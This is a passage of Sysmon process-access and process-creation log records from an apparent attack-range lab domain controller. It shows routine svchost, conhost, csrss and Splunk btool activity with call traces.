{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010F7440500}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010F7440500}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.309\r\nProcessGuid: {90617006-407E-5F2D-0000-0010B3450500}\r\nProcessId: 1544\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407E-5F2D-0000-0010F7440500}\r\nParentProcessId: 1008\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.309","ProcessGuid":"{90617006-407E-5F2D-0000-0010B3450500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407E-5F2D-0000-0010F7440500}","ParentProcessId":"1008","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-0010F7440500}\r\nSourceProcessId: 1008\r\nSourceThreadId: 4632\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010B3450500}\r\nTargetProcessId: 1544\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-407E-5F2D-0000-0010F7440500}","SourceProcessId":"1008","SourceThreadId":"4632","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010B3450500}","TargetProcessId":"1544","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010B3450500}\r\nTargetProcessId: 1544\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010B3450500}","TargetProcessId":"1544","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 